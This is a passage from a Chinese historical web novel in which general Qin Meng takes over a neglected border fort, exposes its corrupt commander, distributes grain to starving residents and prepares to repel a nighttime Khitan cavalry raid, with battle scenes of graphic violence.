军寨的行营主簿诸葛风,便亲自带人前来。命人领着他们去寨外一排新建的茅屋里,给他们准备热水让他们沐浴、发放洁净的冬衣,又让人熬煮驱寒的姜粥,一切都井井有条。
与此同时,军寨的书吏登记流民信息,军营里也有人过来,对着流民高声吆喝,分配去处。
铁血军寨果然像传闻中那样!
真心收拢百姓,不仅做事高效,还透着满满的人情味。
张崇和林婉儿在一旁看着,都忍不住啧啧称奇。见虚弱的妇人婴孩有人照料,他们放了心。
诸葛风安排好流民的事情,才整了整衣袍,迈步走向张崇一行人,拱手见礼,语气沉稳有礼。
“在下诸葛风,忝为军寨行营主簿,方才忙于安置流民,有失远迎,还望海涵。”
张崇忙抬手回礼,声音洪亮:“先生客气了。某乃燕北郡营指挥使张崇,奉郡守之命,押送一批粮食前来军寨,支援军需。
眼下粮食已在寨外,还请主簿派人查验交接。”
“张指挥辛苦,远途押送粮食不易。”诸葛风微微颔首,当即转头吩咐人交割粮食,核对清楚。
他又转向张崇,一侧身,做了个请的手势。
“粮食交割之事有专人负责,张指挥一路劳顿,不如先随我入寨歇息,喝杯热茶暖暖身子。”
进入军寨后,里面的景象更让林婉儿这位官家小姐目不暇接:
数十个半大孩子排成队列操练,步伐整齐划一,喊口号的声音响亮有力。
还有二十多名女子,短打穿着,手持木矛,认真习练刺击,奔跑呼喊时,英气一点不输男儿。
一股肉香从几个伙房飘出。
一股浓郁的酒香从某处飘来,引得张崇等军中汉子连连耸动鼻子,顺着香味望去。
那是一处挂着“酿酒作坊”木牌的院落,门口有士卒严密守卫,显然是军事重地,外人不能靠近。
张崇等人这次来,是为了拜访秦猛,却没想到秦猛天还没亮,就亲自率领亲兵离开军寨。
诸葛风接待了他们,说寨中事务繁忙,却还是恳请贵客多留几日,秦统领用不了多久就会回来。
之后,诸葛风亲自带着张崇、林婉儿等人,参观军寨里非机密的地方。
张崇格外留意军寨的军事训练:只见士卒们在到校场上演练鸳鸯阵,小队之间配合得十分默契,攻防有度。
弓弩手们练习劲弩齐射,射出的箭矢多半都命中了靶心。
甚至还有夜袭、战术配合和快速反应的专项训练。
张崇越看越是心惊,这样的练军方法,既严谨又实用,比他所知的许多官军都要强得多。
想到秦猛只是以流民和边卒为基础,竟然练出了这样一支强军,还能和外虏血战不落下风。
他心中不禁涌起一股强烈的敬佩之情。
林婉儿则对军寨里妇人、孩童的情况更为上心。
她看到许多女子在工坊里缝制棉甲,或是在医疗所里帮忙照料伤患,动作熟练又专注。
又看到那些孩子虽然穿的衣衫简朴,脸色却红润有光泽,在学堂里诵读诗书之余,还会帮忙做些洒扫、搬运的活儿,眼神明亮,充满了生机。
她想到途中救助的余杨氏和她的婴孩,又想起父亲时常跟自己说的百姓为重,自己虽然是郡守之女,往日里却很少能为百姓做些实事。
一颗心渐渐萌发出强烈的念头。
她也要在这里,为这些苦难的人做些什么。
外面的风雪依旧呼啸,铁血军寨却像一颗顽强跳动的心脏,在边陲之地充满活力地运转着。
它吸引着四方走投无路的流民,人口增加,军寨变强,也在悄然改变着每一个到来之人的命途。
……
……
流民仍在涌入,寨内的炊烟日渐稠密,军寨的夯土墙在持续加固。
张崇,林婉儿两个故人来,秦猛是真的带队巡视防区——他总觉得秦大壮这老实人被忽悠。
老狐狸保长王槐说过,双涡堡还比不上曾经的小南河堡,秦大壮说的话夹杂水分,他必须要亲自看看,疏忽大意,今年冬季得出大事儿。
第111章 双涡堡
寒风如刀,刮过双涡堡破败的墙垣。墙皮簌簌剥落,露出掺着碎石的夯土,像极了老人皲裂的皮肤。
这座戍堡扼守南运河与滹沱河旧道交汇之处。
戍堡两岸高出平地三五丈,在平坦的河谷中拔地而起,造就了这处宽仅三里的天然瓶颈。
此处正是草原铁骑南下的路径之一。
无论鞑虏是越境入幽州腹地,还是试图借助水路舟船迂回,都避不开这座卡在要冲之上的堡垒。
水陆在此交叉,河道可通粮船,往东直趋百里外的海州城,旱路后方便是城寨,郡城。
双涡堡如同一枚楔子,既挡陆路骑队,又控漕船协防。河口有简陋码头,供运巡河队伍停靠。
秦猛勒住马缰,玄色披风被风掀得猎猎作响。
他带五十亲兵自清晨出发,人配双马,不过两三刻钟,便从十里外的铁血军寨抵达此处。
目光扫过戍堡,他眼底先露锐光,随即沉了下去。
——景象比秦大壮禀报的更刺眼。
双涡戍堡凭高岸为垒,一面滩涂、两面环水,本是天然形胜。
汛期时两河环堡,滩涂烂泥陷马蹄。
寒冬里河面冰封,冻硬的滩涂锃亮,仍是屏障,鞑子骑兵越境容易,想冲锋来攻,痴心妄想。
河谷外大片良田黑黝黝的,土壤肥沃。按理两三百人驻守便能扼守,堡民耕种该能衣食无忧。
可此刻,地利优势,却因人力废弛,只剩讽刺。
堡墙多处坍塌,缺口用沙土混泥水冻成冰墙填补。
新痕未消,还有兵卒在泼水加固。
这显然是琴大壮来过之后,传授的筑冰墙之法。
进出戍堡的人衣衫单薄、面泛菜色,脚步发虚,这是长期吃不饱饭,营养不良导致的结果。
他们见到大队铁甲骑兵,没有如南河堡居民喜悦,自然。反而眼神木愣愣的,没半点活气。
“哼,屁大点的地方,毛病还不少。”
秦猛低声骂了句,打马前行,看着麻木的堡民,迎面走来的人绕路避开,眼底寒光渐凝。
那模样怕极了,生怕是惹到这些军爷!他用脚后跟想,都知道戍堡队将黄安不是良善之辈。
也只有老实如秦大壮者,给他的评语还很不错!
戍堡队将黄安早得了信,带着亲信出堡相迎。
他穿件精致冬袄,外披甲胄,系着绿色披风。策马上前时,黝黑脸上堆着恭敬,却藏不住惶恐:“将军一路辛苦,堡内备了薄酒,您先歇歇脚……”
话到后头,声音渐弱,连头都不敢抬。是他察觉到秦猛眼神锐利,不敢直视这位年轻将领。
“你这派头不错,我为管队时也没领像样的披风。”秦猛冷冷地调侃一句,策马沿堡墙缓行。
王善、王良、乌维等护卫紧随其后。黑色飞虎甲连成一片,气势压得黄安身后的兵卒缩了缩脖子。
黄安手心冒冷汗,硬着头皮带人跟上。
亲眼所见的双涡堡,比秦大壮说的“略有破败”不堪十倍:
砖墙残破,大面积剥落。
四角望楼老旧,感觉有些歪斜。
坍塌缺口只用冻土碎冰堆着,唯余烽燧台还算完整。
这哪是戍边军堡,分明是风中残烛。
“如此好的地势,又有良田,怎会沦落到这般地步?”秦猛终于开口,声音比寒风还冻人。
的目光落在远处田垄上,语气带着质问:“戍堡破败且不论,为何堡民几乎人人面有菜色?”
黄安垂着头,声音发虚:“朝廷去年拨银只到三成……州府说漕运不通,粮饷实在凑不齐……”
话没说完,就被秦猛抬手打断:“朝廷拨粮不足,不是理由!”
秦猛声音陡然转沉,带着强硬:“没有钱粮不会想办法?没粮饷,就眼睁睁看着人饿死?”
他指向良田:“这土这么肥,春耕秋收,戍堡不破,鞑子忌惮,只要人不懒,就饿不死!”
黄安眼神慌乱,攥紧马缰辩解:“将军明鉴!夏秋有河沼当屏障不假,可寒冬河面冰封,滩涂冻硬,鞑子骑兵能踏冰而过,如履平地啊……”
秦猛侧头瞥他,嘴角勾出耐人寻味的笑:“你是不是还想说,堡中粮少械缺,只能等援兵?”
“呃……”黄安猛地抬头,眼睛瞪圆,喉咙发不出完整声音——只因秦猛竟说中了他的心思!
“哼,你也说是冬季,夏秋鞑子能过来?绕路会被其他堡寨拦住,本官可不是秦部将那般好说话。”
秦猛冷笑,目光重回戍堡:“你没想过?绕堡一圈,坍塌多在后堡门,两河沿岸却少。
——这说明鞑子要么绕后突袭,要么悄悄过境,把后墙当突破口。黄队将,我猜得对不对?”
黄安额头冒冷汗,忙拱手陪笑:“将军所言极是!将军英明!”
他心里却慌得厉害。
这位将军没进堡,只转一圈就察觉其中端倪。不愧是飞虎卫照将军提拔之人,果然可怕!
“毕竟这河面还是打滑的嘛!”秦猛语气带了戏谑,眼神却冷。
王善等人顿时哄笑,笑声刺耳。
他们天天去界河踩冰探承重,摔了无数跤,冻肿了手,马崴了腿。
现在竟有人拿河面冰封当借口,明摆着必有蹊跷。
黄安身子一抖,头垂得更低。
秦猛没再理他,心里已然清楚:
朝廷设堡看中地利,可地利需人力、物力、粮秣支撑;
坐镇人选更是关键,有能力者能守得固若金汤,若像黄安这般庸碌,再雄的堡也会破败。
秦大壮说黄安“稳重谨慎”,实则是胆小怯懦。
贪没军饷已经是板上钉钉!
甚至不排除勾结鞑子——这种猜测还需证实。
秦猛突然岔开话题,止住想辩解的黄安,指向远处河滩:“黄队将,那些人在做什么?”
朔风里的河滩上,十多个单薄身影佝偻着腰,握铁凿子砸冰面,冰屑飞溅,偶尔传来欢呼。
“回将军,是堡民趁冰没冻太厚,凿冰摸鱼虾贴补。”
黄安眼神闪烁,声音更苦:“今年鞑子越境频繁,田里粮食来不及收,堡内存粮已不足半……”
话未说完,女人凄厉的哭声陡然响起。
“大人!为民妇做主啊!”
原来,秦猛率队巡视的消息一传开,不少堡民已悄悄聚拢在路边观望。
人群中,一个裹着破棉袄、露着补丁的妇人突然冲破围观的人墙,疯了似的往前扑。
黄安脸色骤变,身后两名兵卒立刻策马要阻拦。
“滚!”乌维沉声道,屁股往马侧一挪,宽厚的身子直接挡住了兵卒的去路。
王善、王良等人的眼神瞬间凌厉如刀,手已下意识按在了腰间刀柄上。
黄安和身后的兵卒僵在原地,竟没一个人敢再动。
那妇人踉跄着奔到马前,“噗通”一声重重跪倒在冻土上,额头磕得地面轻响,放声痛哭。
“大人,冤枉啊!求秦将军明鉴!”
“嫂嫂起身说话,无需隐瞒,本将定然为你主持公道。”秦猛打马稍稍避开,语气也变得温和。
妇人却没起身,只是用冻得红肿的手抹着满脸泪水,声音哽咽着哭诉:“我男人他不是逃役!
是家里实在没粮了,三个孩子饿得直哭,他没办法,才冒险上山打猎的,猎杀雪豹一头。
只是晚了些,没赶上堡里的轮值,黄队将看中雪豹皮毛,三贯钱的廉价收购,我男人不肯。
当夜便被抓了起来,那头雪豹也被抢了去。为活命打猎,不是逃役,求将军开恩,把他放了吧!”
她怀里,一个面黄肌瘦的幼儿裹在破棉絮里,小身子不住地瑟瑟发抖,连哭的力气都没有。
秦猛默然片刻,翻身下马。
他快步上前,扶起妇人。低头看着那孩子蜡黄的小脸,恍惚想起入冬后,北方边民的窘境。
猎户为捕一只白狍失足坠崖,或遭遇狼群,再难回来。
也曾听说有猎户救了受伤的黄鼠狼,寒冬里竟得了对方送来的野兔报恩……
突然画面又一转,陈月娘背着竹篓,上山采药。为了抓着野鸡给傻子煲汤,摔倒了多次……
这苦寒之地,人的生死,本就只在一线之间。
“汝夫顾家护妻儿,所作所为没有半分过错,是条汉子,更不算逃役。”秦猛声音掷地有声。
“戍堡不分缘由,胡乱抓人,即刻由铁血军寨介入,放了他。另外,按军规补发他家半月粮食。”
妇人闻言,当即又要跪地磕头谢恩,哭声里却终于多了几分活气,不再是之前那般的绝望。
秦猛二话不说,当即派王良带队亲兵,随妇人去救人:“本官说放人,谁敢阻拦,格杀无论!”
“是!”王良露出个狞笑,昂首领命。
领着一队人马护着妇人,杀气腾腾地闯入堡内。
第112章 分粮救危堡
“大…大人,这样是不是不妥?”黄安脸色白了三分:“这种事查明,再做决断,万一……”
“放肆,你算什么东西?是在教大人如何做事?”王善直接甩脸喝斥,哐啷,腰间刀拽住半截。
“不敢……”黄安吓得连连摆手。
“我相信眼睛看到的,也有判断力。”
秦猛转头看向黄安时,语气瞬间又冷了下来。
“黄队将,我来问你!秦部将前日已将粮棉运到堡中,为何至今不分给堡民?”
“这……尚未来得及分发。”黄安眼神闪烁,勉强辩解道。
“来不及?”秦猛挑眉,眼神愈发冰冷,死死盯着黄安追问,“那昨日秦部将购买的粮食,为何也没有挨家挨户送到百姓手里?”
“没、没有将军的命令,卑职不敢擅自分发!”
黄安慌忙拱手,脸上挤出讨好的笑,“物资金贵,终究得听您的安排,才敢动啊……”
秦猛闻言,淡淡应了一声,突然笑了。
这笑半点没达眼底,只有冰冷的嘲讽。
王善等人见了这笑容,都不约而同地打了个哆嗦。
谁不知道,秦将军每次露出这种笑,准有人要倒霉。
前阵子去城寨报军功时,他笑了一下,当场就斩了那朝廷命官;后来刘德福仗着权势封锁运河,断了军寨的补给,他也是这么笑的。
当天晚上,就夺下了白松岭,
不出三日,就把刘家在边境的产业连根拔了个干净。
“王善!”秦猛声音洪亮。
“即刻去仓房,按户分粮棉!每人都有,不许克扣!”
“大人,这些是真金白银买的,您不再想想?”
黄安脸色剧变,上前想拦。
物资分了,双涡堡的军民只晓得军寨的知寨官,他就没了拿捏堡民的筹码,彻底成了个屁。
“我花钱买的粮食,想怎么分,就怎么分。”
秦猛冷冷看他,手摸向刀柄,杀意几乎溢出。
“黄队将想拦我?”
“不……不敢!卑职只是担心。”黄安吓得后退,讪讪闭嘴。
“发放时登记清楚人数,告知堡民。”
秦猛叮嘱王善二人:“从今日起,双涡堡归铁血军寨管,在我手下,吃饱穿暖是基本!”
“没有粮饷克扣,也没有欺压事件。”
“是!”
王善齐声应下,带亲兵往仓房去。
“走吧,黄队将,带我入堡看看。”秦猛翻身上马,瞥了眼脸色慌乱的黄安,率先往堡门走。
牛五策马靠近黄安,眼神冰冷如刀。
乌维也晃着膀子过来,高大身躯的阴影将黄安罩住。
黄安浑身哆嗦,拍马快步追上,大气不敢喘。
“秦将军有令!都去东粮仓领粮、棉!每户都有,别挤!”
亲兵们冲入堡内吆喝,铜锣声震天,劈开了堡内的死寂。
当雪白的米粮、厚实的棉花从仓房搬出来,冻得麻木的堡民们像是苏醒了。
他们从铺屋里涌出来,先远远看着,满是难以置信。直到有人接过粮袋,确认是真的,才爆发出欢呼声。
人们围着粮堆,眼中重新燃起希望,驱散了绝望。
秦猛看着这幕,眼底冷意稍退。
他知道,双涡堡要恢复生机,光分一次粮不够。
但至少此刻,这座残堡,终于有了回暖的迹象。
秦猛踏入双涡堡的那一刻,熟悉的压抑感扑面而来。
铺屋低矮而结实,墙厚占地广,样式布局与小南河堡如出一辙,狭窄过道仅容两人并肩。
“将军,这边请。”队将黄安在前引路,声音里带着几分不安。
秦猛默不作声,巡视堡内各处。
军粮仓,抛却秦大壮送来的物资,仅有的二十多石陈年粟米散落在角落,沙砾混杂其间。
铁匠铺传来叮当声响,老铁匠带着学徒默默打铁,打造的却多是农具,仅少量箭头堆在一旁。
堡民们面黄肌瘦,许多孩童裹着破旧棉絮在寒风中瑟瑟发抖。
秦猛越看眉头越皱紧,这双涡堡未曾遭敌捣毁,内部情况却比曾经的小南河堡更加不堪。
街坊邻居有人情味!
这里自己都活不下去了,哪里能顾得上别人?
问题显然出在管理上。
管理的问题肯定就是内部有蛀虫。
唯一令他稍感安心的是堡寨本身。双涡堡按大周小寨规格建造。
铺屋两百余座,官署、营地齐全,可驻兵两三百人。
寨墙夯土外包砖,虽有些破损,但周长足有500步,高2.5丈,六座4丈望楼耸立四方。
烽火台东接马水口、西连小南河口,三烽三烟30里相望。
更难得的是,双涡堡两面环水,堡内停着几条旧船。界河冰封后被拖回,藏于堡外的水寨,可断舟可通漕,更是训练水军的天然优势。
黄安见秦猛一路无言,心下越发忐忑,他也不敢再多说话了,只恭敬引路前往官署安顿。
坐在一行人快要到官署的时候。
突然,堡门外传来凄厉哀嚎,打破了堡内的沉寂。
“快,快让开!张大爷不行了!”
几个堡民抬着血淋淋的担架奔来,后面跟着个怀抱幼儿的妇人,哭声凄切。
担架上的老猎户张老四浑身是咬痕,血肉模糊。那是在山上遇到狼群,奋力逃至山下,被堡民所救,却仍死死攥着半只冻硬的野兔。
他嘴里喃喃道:“粮...给娃儿...”
一个中年汉子扑通跪在秦猛面前,连连磕头:“秦?0?6秦将军,求您救救俺爹!实在是娃病得厉害,家里最后一点粟米都换药了,爹才冒险上山的...”
黄安见状脸色发白,连连后退:“这,这伤得太重,怕是——”
“闭嘴!”秦猛厉声打断,已俯身查看伤势,“把人抬到院内,去烧热水,医务兵取医药箱来!”
亲兵立即来帮忙,或飞奔去伙房。
医务兵从行囊中取来唐博特配的药箱。
秦猛临危不乱,指挥若定:“去墙角,清出空地,点火照明。你们几个找些干草垫在地上……”
热水很快端来,秦猛先喂服麻沸散,
堡民们围成一圈,挡住寒风,屏息看着这位新来的秦
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将军救人,用盐水消毒,药水清洗,敷上药粉。
张老四的腹部被狼爪撕裂,伤口狰狞,鲜血汩汩外涌。
“需要缝合。”秦猛皱眉,他并不擅长针线活。医务兵也颇为尴尬,时间太短,尚未学会。
就在这时,**率队归来。
那抱着孩子的妇人了解情况后,把孩子交给身边男人,主动请缨:“将军,民女王氏,常为军中缝补衣物,手巧尚可,愿助将军一臂之力。”
秦猛抬眼望去,见妇人眼神坚定,当即颔首。
“好,你来缝合。”
温暖的院中,一场生死救援就此展开。
秦猛镇定指挥,王氏手法灵巧,将撕裂的皮肉一针针仔细缝合。
医务兵在旁打下手,不断擦拭血迹。
每穿一针,围观的堡民都不自觉屏住呼吸、瞪大眼睛,无人敢发出声,生怕惊扰了救人。
半刻钟后,伤口终于缝合完毕,血也成功止住。秦猛又为张老四敷上特制伤药,仔细包扎妥当。
接着,再灌下唐博特制调配的汤药。
片刻功夫,张老四情况稳定下来,呼吸也渐渐平稳。
“活了,张大爷活过来了!”
人群中骤然爆发出难以置信的欢呼。
那中年汉子再次跪地,这次是喜极而泣,连连磕头:“谢将军救我爹,谢将军救命之恩!”
“该谢的是这位。”秦猛将汉子拽起,指了指王氏。
“谢谢林家妹子。”汉子立刻转身道谢。
“都是街坊邻居,理应帮忙。”王氏连忙摇头。
随后,王氏一扯身边抱着孩子的魁梧男子,一同拜下:“多谢秦将军放了我家男人。”
“小人林军,拜见大人!谢大人活命之恩!”男子身上带着血淋淋的疤痕,叩拜时却拿眼瞪着黄安,显然二人之间有不可调和的仇恨。
“起来吧,此乃本官分内之事。”秦猛伸手将夫妇二人扶起。
“林军,你孤身上山,猎得雪豹,胆识过人、身手不凡。”
秦猛话锋一转,“本将特提拔你为双涡堡守军队将,即刻起整顿戍卒,本将派人协助你操练。”
“谢将军提拔!”林军大喜过望,扑通拜倒在地,“林某不过一介猎户,蒙将军器重,定当誓死相随!”
一旁的队将黄安闻言,脸色瞬间难看到了极点。
而聚拢的百姓眼中闪过光亮,脸上浮现激动之色。
“乡亲们受苦了。”秦猛环视周遭百姓,深深作了一揖,“会好起来的。军寨会挨家挨户发放粮食物资,望大家振作起来,共同守卫家园!”
“秦将军威武。”堡民们眼中燃起久违的希望,望着这位新来的将军,眼神里满是感激与敬重。
秦猛站在堡院中央,看着面黄肌瘦的百姓,心中已有决断。双涡堡虽破败,根基却尚在。
堡民虽贫弱,人心却可用。
这座边境危堡必将在他手中重焕生机。只是那蛀虫黄安,獐头鼠目,一看就不是啥好鸟。
秦猛又有种预感,秦大壮买下许多粮食与物资囤积在这,又杀了契丹**,事儿没这么简单。
第113章 蛀虫现形,烽火惊夜
夜幕低垂,双涡堡官署内烛火摇曳,将秦猛的身影拉得细长。
他端坐案前,指尖轻叩粗糙的木桌,听着王善与**的低声回报。
“大人,一切已按您的吩咐安排妥当。”
王善声音压得极低,眼中却闪着锐利的光,“烽燧、堡前、堡后都暗中布了我们的人。果然如您所料,那黄安……绝非善类。”
**接着道,语气沉郁:“根据林军等老卒诉说,黄安乃无赖出身,早年曾落草为寇。”
“他仗着有个结拜兄弟在南河城寨做监押官,作威作福。常打着城寨之名,强征军户家中钱粮。
堡内军民敢怒不敢言,只得忍气吞声。”
秦猛目光一凝:“堡中兵员实情如何?”
“堡中实有正兵,土兵共九十七人,与册录相符。”
**叹道,“黄安及其心腹三十余人终日饱食、衣衫齐整。
其余戍卒军粮常遭克扣,面黄肌瘦,难以养家。壮丁五十余人,皆面有菜色,如白日所见。”
“库房中甲胄竟无一套,箭矢不足千支,弓七十张中有半数弓弦松弛;刀枪锈蚀,恐难堪大用……”
秦猛杀伐果断,但也得分什么时候。杀外人,他可以毫无顾忌,可黄安名义上是自己的手下,没有确凿证据就处置,影响军心。
王善忍不住插话,咬牙切齿:“最可恨的是粮食!军粮就仅剩白日所见那二十多石陈年粟米。”
但据闻黄安家中囤粮米上千石,此獠实乃堡中第一大蛀虫!”
秦猛闻言冷笑一声,指尖在桌面上重重一顿。
“呵,蛀虫?岂止是蛀虫!此等盘剥军民、蛀空边堡的败类,若在战时,便是通敌之罪。”
**却面露忧色:“将军,恕我直言,这双涡堡目前实乃一大负累。朝廷若无钱粮调拨,接手此堡非但无利可图,反需投入大量钱粮……”
秦猛摇头打断,目光如炬:“有地盘便是好事。
虽需投入经营,然周边土地、草场、河道等皆是资源,是聚拢流民、积蓄力量的根基。
岂能因堡小墙破便生嫌弃之心?
当初小南河堡比之更为不堪,不也一步步发展起来了吗?”
王善、**闻言,相视一眼,皆心悦诚服地点头。
就在这时,亲兵推门而入:“将军,那黄安又在外求见,言再度备下薄宴,恳请您赏光。”
秦猛略一沉吟:接连拒绝恐令其生疑,甚至狗急跳墙。
不若趁此机会赴宴,顺势将此獠拿下!
他心念既定,当即道:“告诉他,本将稍后便至。对了,速请林队将过来,与我同往。”
黄安并未住在官署,而是在堡中建了一座深宅大院。
这宅子气派豪华,是三进三出的规制,堪比州县地主富户家宅,只差挂块“黄府”的牌子。
据说黄安自当上队将后,靠着串通城寨官吏,克扣军粮、强征民财攒下钱财,便修了这栋宅邸。
“啧啧啧,好生气派!”秦猛抵达后,连连称赞。
黄安早已带人出来相迎,却见秦猛不仅应约,还带着林军同来,脸色几不可察地变了变。
但他很快又堆起惯有的恭敬笑容,忙不迭地将“大人”“将军”挂在嘴边,躬身引几人入席。
接风宴的规格在这堡民无食的戍堡显得异常奢侈:
中间一大盆热气腾腾的炖狍子,旁边摆着大块烤肉,金黄的河鱼,甚至还有七八只烧鸡烤鸭……
辅以几样素菜和精米饭。
“将军请用,请用。”黄安赔着笑,小心翼翼地介绍。
“这狍子是前日侥幸套得的,鱼是今早刚凿冰捞的,还算新鲜……”
秦猛目光扫过席间作陪的保长,书吏,他们虽正襟危坐,眼睛却死死盯着食物,喉头不住滚动。
显然久未沾荤腥,却无一人敢动筷。
秦猛心底冷笑,正要骤然发难,下令拿下这蛀虫,明日公审——
突然!
“哐哐哐——!”
凄厉的铜锣声毫无预兆地响起。
“呜——呜——!”低沉的牛角号声紧随其后,二者交织,撕裂寒夜,一声紧过一声,催人心魄。
秦猛猛地起身推窗望去,但见东北天际红光冲天。
烽火如狰狞巨**腾跃狂舞,将雪夜染成一片骇人血色!
混乱的脚步声、咆哮声由远及近,惊惶的呼喊震荡夜空:“番贼来啦!契丹狗子入寇了!”
黄安瞬间吓得浑身筛糠般哆嗦,脸白如纸:“将…将军!东燧台!是三烽三烟,是…是最急军警!”
说罢,黄安转身就要逃窜。
“废物!老子早知你是个无能之徒!”秦猛怒喝一声,追上飞起一脚,将黄安狠狠踹翻在地。
牛五立刻带亲兵一拥而上,将其五花大绑。
这一幕把保长,书吏吓得蹦起来。
“大人,大人这是为何?卑职冤枉啊!”
黄安吓得魂飞魄散,剧烈挣扎,委屈地嚷嚷着。
“蛀虫,堡中最大不稳之源!岂容你继续猖狂!”秦猛懒得再多看他一眼,“铿”一声长刀出鞘。
他盯着黄安的心腹戍卒:“谁敢上前,格杀勿论!”
黄安见到没有人来救自己,心慌了,大声叫嚣:“我义兄可是南河城寨监押官,你敢动我?”
“监押官?他敢来,就死!”秦猛露出嘲讽的笑。
牛五扯了块布堵住黄安的嘴。
秦猛厉声喝令:“王善,亲兵队集合,全堡戒备。”
“林军!”
“末将在!”林军挺身而出。
“看好这****!这就是你的重任!”秦猛踢了踢黄安。
“得令!”林军声如洪钟。眼见黄安被踹翻捆缚,只觉胸中恶气顿出,飞扑上前一把揪住黄安。
秦猛已大步流星踏出宅院,迈向堡墙。
寒风刮面,他心中冰火交织:
双涡堡首战
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,竟来得如此之急!
堡穷兵疲,而烽火已燃,这场仗注定无法避免。
远处,铁蹄震地之声隐约可闻,杀声渐近。
悠长急促的号角响了多声,显示来袭之敌至少数百。
“怕个鸟?本将在此,天塌不下来。”
秦猛面对此景却异常冷静,见保长,书吏慌张甩脸喝斥。当即指挥,一道道命令清晰传出:
戍卒即刻检查武备,听候调遣。
堡内所有壮丁,凡持械者,皆需登城协防。各家各户妇孺老弱,躲藏起来,以防不测。
林军率所部戍卒,押解黄安,固守堡前门!未有军令,严禁擅开!
**即刻带人,召集黄安心腹,逐一缴械,集中看管。其后率精锐疾驰堡后门,严防死守,绝不可有失!
王善统筹堡内粮械,组织青壮搬运滚木礌石、箭矢火油上墙,并负责救治伤员。
被点到名字的众人纷纷凛然应命,声音在肃杀的夜空中格外铿锵。
堡内多处烽火已被点燃,火光跳跃,将半边天染得通红,也映照出秦猛坚毅冷峻的侧脸。
堡外,马蹄声隆隆作响!
敌骑呼啸之声愈来愈近,黑压压的影子已在雪原上涌动。
双涡堡的存亡之战,就在今夜!
……
“秦将军坐镇,不要慌乱!”
“契丹狗来了,妇孺藏好!”
“带把的爷们儿,杀番狗换赏钱!”
“斩首一级,钱二十贯、绢三匹,还有袍袄战马!”
吼声撕裂夜空,铜锣破响,人声鼎沸!
小小的双涡堡,瞬间被裹胁在火光与死亡的阴影下!
秦猛率队冲出黄府,撞入一片混乱的火光中。
几个亲兵正拼死敲锣,扯开嗓子嘶哑呼喊。
“杀…杀契丹狗!快集结!”
“秦将军有令,杀敌勇猛者,提拔!”
“算俺一个!”
“直娘贼!**又来?”
“操**辽狗!跟他们拼了!”
鱼叉、**、朴刀在火光中闪烁,汉子们从各屋奔出。许多人背着猎弓,或腋下夹着投枪。
沿边地区的堡寨、铺驿及本地边民以民风彪悍、善战尚武闻名。
制度化的“弓箭社”由边民自组。
“饮食长技与敌国同”,且“私立赏罚严于官府”,战斗力强,乃北方边防一支不可或缺的“王牌”。
秦猛目睹这一幕,心中暗赞。
大周国力衰退,朝纲**,中枢的丝竹靡靡,皇城禁军铠甲下的松弛肚腩,京营帅帐中的军官盘算推诿……
本该磨平一切的“太平”,却磨不灭边境这群散兵游勇、土里刨食的泥腿子眼底那疯狂血性!
他们的家在这,边民的根在这!
“好!好一群汉家儿郎!”秦猛胸中战意如沸油翻腾。
他曾是特种兵、武警教官,单兵作战能力最强,却依旧带着小队,如鬼魅般没入墙下的阴影。
第114章 戍堡布杀局
双涡堡后门外,火把亮光如龙,将夜空撕裂。
哭嚎惊叫混着怒吼,热浪裹挟着硝烟与血腥扑面而来。
**果然再从堡后来袭,闷雷般的马蹄声撼动大地,仿佛整个边陲都要在这铁蹄下颤抖。
“嗷嗷……”契丹骑兵特有的怪叫声,尖利刺耳,穿透喧嚣,夹杂着钝器裂骨的闷响、临死前的惨嚎、屋梁爆燃的炸响!
几个住在河滩的老渔户,正连滚带爬地向堡口亡命奔来,眼中尽是恐惧,绝望,以及仇恨。
人腿怎敌战马神速?
黑影如旋风卷过,刀光一闪。
一颗苍老的头颅带着茫然的表情,飞旋离颈,无头尸身兀自踉跄前冲数步后,才轰然倒地。
旁边一人被高速冲刺的战马侧身狠狠撞飞,腾空而起。
落地后,旋即被碗口大的铁蹄闷雷般踏过胸腔。
“咔嚓”“噗噗”几声骨肉塌陷的毛骨悚然之音后,再无声息……
喘息之间,堡外百步雪地上,已添了几摊刺目猩红、形状模糊的肉泥,大片雪地被染红。
契丹骑兵勒马狂笑,立于血肉之上,靴底肆意践踏着尚有余温的残躯,刀尖悬着黏稠的血滴,朝着铺堡方向龇牙咆哮,是向守军挑衅。
“畜生!杂种……”
“狗**,有种过来!”
守堡口的戍卒们目睹惨状,睚眦欲裂,骂声如**响。
而边地戍卒虽多为“土兵”,却熟悉障塞路径、通晓羌人语言且能耐苦寒,尽显边民尚武善战之风。
当即有人竟用流利契丹语嘶吼,字字诛心:“没卵的契丹狗,懦夫怂包,生娃儿被狼叼……”
“周猪,找死!”领头的百夫长暴怒,百多骑如嗅血狼群,长啸着,弯刀映火,踏尘猛扑铺口。
这一激将法,成了。
火光下,人脸狰狞,弯刀寒芒刺目。
“呜——!嗖嗖嗖……”人未至,夺魂箭雨已然笼罩,密集如蝗。
冲锋的**骑在马背上颠簸开弓,箭矢却精准得可怕。
箭镞带着死神狞笑般的尖啸,黑压压罩向堡口攒动的人群。
“挡箭,趴下。”**已然老辣,嘶声如破锣。
藤牌、木盾乱糟糟擎起,叮叮当当火星四溅,有人挥刀拨打。
“噗!”一声闷响,一个端草叉的半大后生被强劲重箭贯穿肩膀,惨嚎着旋转摔跌在地,被人拽回墙后。
“哈哈哈,**,进来啊!”
“呸,没卵的番贼,爷爷等你们!”
退入窄巷的军汉们倚着石墙、拒马,唾沫横飞,破口大骂。
这刻意为之的侮辱,如同诱饵,持续刺激着敌军。
极尽侮辱之能事,激得这些**兵理智尽失,纷纷甩下备用马的缰绳,准备策马冲杀入堡。
噗嗤!秦猛正眯起眼观察敌情,一支流矢重箭裹着血腥恶风,狠狠楔入他藏身处的夯土墙。
箭羽嗡鸣震颤,溅起的粘稠血沫几乎拍在他脸上。
死亡气息炸开,秦猛瞳孔骤缩,目睹无辜惨死。“非我族类,其心必异”化作滔天杀焰焚尽胸腔。
他握刀过于用力,手骨节发白。目光锐利如鹰隼,透过阴影与翻滚的烟尘,瞬息洞穿敌势。
百八十骑,皆披甲胄,装备精良,斜挎长弓,弯刀滴血。
鞍旁铁骨朵、狼牙棒悬鞍,双马备掠。
再加上**烽燧堡的,**骑兵不会少于三百。对这座边陲铺堡而言,这无疑是一股毁灭洪流。
己方骑兵五十人,不能硬碰硬。
那就只能依托地势打防守,消耗敌人,再行反击。
那时,军寨骑兵应该也来驰援。
秦猛迅速分析出利弊,盯着**们,伺机而动。
**兵动作很快,也很娴熟,显然是惯于此道。
百多人散开,试图冲入深巷,搜掠人口粮畜。
在这期间,狗**们通常会杀掉被认为是负担的老人,有时候甚至孩子**或成为备用口粮。
大周汉人,在草原被视为两脚羊。
